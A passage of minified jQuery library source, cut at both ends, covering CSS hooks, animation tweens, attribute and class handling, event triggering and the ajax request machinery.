e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ct(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=J.get(e,"fxshow");n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()})}));for(r in t)if(i=t[r],it.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||w.style(e,r)}if((u=!w.isEmptyObject(t))||!w.isEmptyObject(d)){f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=J.get(e,"display")),"none"===(c=w.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=w.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===w.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1;for(r in d)u||(y?"hidden"in y&&(g=y.hidden):y=J.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&fe([e],!0),p.done(function(){g||fe([e]),J.remove(e,"fxshow");for(r in d)w.style(e,r,d[r])})),u=lt(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}}function ft(e,t){var n,r,i,o,a;for(n in e)if(r=G(n),i=t[r],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=w.cssHooks[r])&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function pt(e,t,n){var r,i,o=0,a=pt.prefilters.length,s=w.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;for(var t=nt||st(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,a=l.tweens.length;o<a;o++)l.tweens[o].run(r);return s.notifyWith(e,[l,r,n]),r<1&&a?n:(a||s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:nt||st(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(ft(c,l.opts.specialEasing);o<a;o++)if(r=pt.prefilters[o].call(l,e,c,l.opts))return g(r.stop)&&(w._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return w.map(c,lt,l),g(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),w.fx.timer(w.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ue(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){g(e)?(t=e,e=["*"]):e=e.match(M);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[ct],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||g(e)&&e,duration:e,easing:n&&t||t&&!g(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){g(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),o=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=w.timers,a=J.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ot.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||w.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ut(t,!0),e,r,i)}}),w.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(nt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),nt=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){rt||(rt=!0,at())},w.fx.stop=function(){rt=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var dt,ht=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return z(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!N(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var 